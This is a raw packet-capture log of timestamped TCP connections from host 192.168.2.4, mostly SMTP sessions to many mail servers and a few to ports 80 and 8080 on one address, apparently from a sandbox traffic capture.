Jan 7, 2022 15:56:51.058705091 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.176799059 CET	49837	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:51.185036898 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.185204029 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:51.185231924 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:51.185594082 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:51.223922014 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:51.224371910 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:51.231638908 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.231790066 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.232291937 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.380595922 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:51.380722046 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:51.423259974 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.423496008 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.423546076 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.427261114 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:51.427459002 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:51.492618084 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:51.498220921 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.502808094 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.576234102 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:51.576451063 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:51.614789963 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.616668940 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.616735935 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:51.616936922 CET	25	49844	142.250.157.26	192.168.2.4
Jan 7, 2022 15:56:51.617012024 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:51.624026060 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:51.624140024 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:51.657171965 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.676845074 CET	49839	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:51.723267078 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.723294020 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:51.723403931 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.723433971 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:51.770704985 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:51.773663044 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:51.773802042 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:51.775293112 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:51.803251028 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:51.803368092 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:51.848769903 CET	49841	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:51.930358887 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:51.930952072 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:51.934885979 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:51.935065031 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:51.968332052 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:51.968461037 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:52.036273003 CET	49843	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:52.067368984 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:52.067595959 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:52.167773008 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:52.171691895 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:52.171925068 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:52.171952963 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:52.172434092 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.199593067 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:52.199712992 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:52.199743986 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:52.224630117 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.224809885 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.257369995 CET	49852	25	192.168.2.4	96.47.154.206
Jan 7, 2022 15:56:52.276664019 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:52.277909040 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.278007030 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.330096006 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.331155062 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:52.331172943 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:52.331196070 CET	25	49850	104.47.56.110	192.168.2.4
Jan 7, 2022 15:56:52.331247091 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:52.331279039 CET	49850	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:56:52.333312035 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.333462954 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.366637945 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:52.366678953 CET	25	49849	173.194.202.26	192.168.2.4
Jan 7, 2022 15:56:52.366749048 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:52.366791964 CET	49849	25	192.168.2.4	173.194.202.26
Jan 7, 2022 15:56:52.386061907 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.386246920 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.433907986 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:52.434031963 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:52.443677902 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.447822094 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.447947025 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.447961092 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.448410988 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.474965096 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.475100994 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.500170946 CET	25	49851	142.250.150.27	192.168.2.4
Jan 7, 2022 15:56:52.500252008 CET	49851	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:56:52.502542019 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.502661943 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.528840065 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.547787905 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.547919989 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.574769974 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.574899912 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.606375933 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.609392881 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.609507084 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.609534979 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.615366936 CET	49854	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:52.636176109 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.636202097 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.636210918 CET	25	49853	142.250.153.27	192.168.2.4
Jan 7, 2022 15:56:52.636329889 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.636368036 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.637480021 CET	49853	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:56:52.782118082 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:52.948273897 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:52.948888063 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:52.948915958 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:53.011759043 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.114531994 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.114681959 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.264631987 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.264796972 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.296896935 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:53.302186012 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:53.348893881 CET	49846	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:53.367634058 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.367758036 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.450848103 CET	25	49848	74.125.200.27	192.168.2.4
Jan 7, 2022 15:56:53.453506947 CET	49848	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:56:53.471245050 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.471371889 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.574677944 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.574815989 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.574848890 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.602183104 CET	49856	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:53.677385092 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.677409887 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.677510977 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:53.677593946 CET	25	49855	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:53.677651882 CET	49855	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:55.351711988 CET	49852	25	192.168.2.4	96.47.154.206
Jan 7, 2022 15:56:55.770956993 CET	49854	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:56.692991018 CET	49856	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:57.177381992 CET	49837	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:57.693064928 CET	49839	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:57.849932909 CET	49841	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:58.036813021 CET	49843	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:59.349383116 CET	49846	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:01.349572897 CET	49852	25	192.168.2.4	96.47.154.206
Jan 7, 2022 15:57:01.865257025 CET	49854	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:02.693464994 CET	49856	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:03.848385096 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:03.893346071 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:03.893560886 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:03.932060957 CET	49858	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:03.940185070 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:03.940306902 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:03.985419035 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:03.985568047 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:04.030703068 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:04.030985117 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:04.116044044 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:04.237723112 CET	49859	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:04.238496065 CET	49860	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:07.037558079 CET	49858	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:07.246949911 CET	49860	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:07.247076035 CET	49859	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:09.021562099 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.022845030 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.022866011 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.024152040 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.024313927 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.024343967 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.031651020 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.031712055 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.065172911 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.065253019 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.065362930 CET	25	49845	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.065891027 CET	49845	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.069297075 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.069478989 CET	25	49857	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.069586039 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.069629908 CET	49857	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.076621056 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.077013969 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.079451084 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.080979109 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.123331070 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.123760939 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.130016088 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.130753994 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.168425083 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.168577909 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.178337097 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.178966999 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.213063002 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.213323116 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.226824045 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.226963043 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.258928061 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.259073973 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.259103060 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.275284052 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.276187897 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.276210070 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.288579941 CET	49863	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:09.292126894 CET	49864	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:09.303560019 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.303695917 CET	25	49861	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.303796053 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.304661989 CET	49861	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.323648930 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.323776960 CET	25	49862	193.239.68.121	192.168.2.4
Jan 7, 2022 15:57:09.323827028 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.323856115 CET	49862	25	192.168.2.4	193.239.68.121
Jan 7, 2022 15:57:09.327951908 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:09.459252119 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:09.460764885 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:09.607376099 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:09.607537985 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:09.739185095 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:09.739810944 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:09.873035908 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:09.873138905 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:09.882606983 CET	49866	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:09.932887077 CET	49867	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:10.007112980 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:10.008686066 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:10.008721113 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:10.140016079 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:10.140045881 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:10.140110970 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:10.140152931 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:10.140297890 CET	25	49865	104.47.56.110	192.168.2.4
Jan 7, 2022 15:57:10.140393019 CET	49865	25	192.168.2.4	104.47.56.110
Jan 7, 2022 15:57:10.214138031 CET	49868	25	192.168.2.4	195.29.173.131
Jan 7, 2022 15:57:10.332958937 CET	49869	25	192.168.2.4	138.201.223.6
Jan 7, 2022 15:57:10.356045008 CET	25	49869	138.201.223.6	192.168.2.4
Jan 7, 2022 15:57:10.356201887 CET	49869	25	192.168.2.4	138.201.223.6
Jan 7, 2022 15:57:10.392544985 CET	25	49869	138.201.223.6	192.168.2.4
Jan 7, 2022 15:57:10.392564058 CET	25	49869	138.201.223.6	192.168.2.4
Jan 7, 2022 15:57:10.392621040 CET	49869	25	192.168.2.4	138.201.223.6
Jan 7, 2022 15:57:10.392704010 CET	49869	25	192.168.2.4	138.201.223.6
Jan 7, 2022 15:57:10.414287090 CET	25	49869	138.201.223.6	192.168.2.4
Jan 7, 2022 15:57:10.468904018 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:10.503139973 CET	25	49870	130.193.9.47	192.168.2.4
Jan 7, 2022 15:57:10.503849983 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:10.541277885 CET	25	49870	130.193.9.47	192.168.2.4
Jan 7, 2022 15:57:10.541582108 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:10.543452024 CET	25	49870	130.193.9.47	192.168.2.4
Jan 7, 2022 15:57:10.545308113 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:10.819277048 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:10.865967035 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:10.878988028 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:10.879081964 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:10.932691097 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:10.932826042 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:10.985162973 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:10.988523960 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:10.988673925 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.041682005 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.041794062 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.099529982 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.101676941 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.101833105 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.101864100 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.102791071 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.154607058 CET	25	49871	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.154792070 CET	49871	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.154903889 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.155004978 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.208913088 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.209264994 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.261452913 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.265324116 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.265525103 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.318320990 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.319036961 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.376955986 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.381639957 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.381886005 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.381907940 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.382261038 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.409040928 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.409194946 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.435157061 CET	25	49872	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:11.435234070 CET	49872	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:11.436654091 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.436790943 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.463294029 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.465923071 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.466084957 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.475404978 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:11.493041039 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.493206978 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.509146929 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:11.525424957 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.538518906 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.538641930 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.538674116 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.539072990 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:11.565320969 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.565411091 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.565438032 CET	25	49873	142.250.153.27	192.168.2.4
Jan 7, 2022 15:57:11.565483093 CET	49873	25	192.168.2.4	142.250.153.27
Jan 7, 2022 15:57:11.646509886 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:11.646681070 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:11.785881042 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:11.786109924 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:11.888750076 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:11.888946056 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:11.923489094 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:11.923939943 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:11.924081087 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.061985970 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:12.062148094 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.194006920 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:12.194113970 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:12.200100899 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:12.200262070 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.200309038 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.200648069 CET	49876	25	192.168.2.4	67.219.247.199
Jan 7, 2022 15:57:12.313496113 CET	49864	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:12.338582039 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:12.338609934 CET	25	49874	54.83.87.114	192.168.2.4
Jan 7, 2022 15:57:12.338680983 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.338709116 CET	49874	25	192.168.2.4	54.83.87.114
Jan 7, 2022 15:57:12.348529100 CET	25	49876	67.219.247.199	192.168.2.4
Jan 7, 2022 15:57:12.349282026 CET	49876	25	192.168.2.4	67.219.247.199
Jan 7, 2022 15:57:12.366153002 CET	49863	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:12.391422033 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:12.391582012 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:12.500880003 CET	25	49876	67.219.247.199	192.168.2.4
Jan 7, 2022 15:57:12.500942945 CET	25	49876	67.219.247.199	192.168.2.4
Jan 7, 2022 15:57:12.501069069 CET	49876	25	192.168.2.4	67.219.247.199
Jan 7, 2022 15:57:12.649137020 CET	25	49876	67.219.247.199	192.168.2.4
Jan 7, 2022 15:57:12.667140961 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:12.678683996 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:12.741606951 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:12.859004974 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:12.859424114 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:12.895366907 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:12.895522118 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:12.980779886 CET	49867	25	192.168.2.4	131.107.88.24
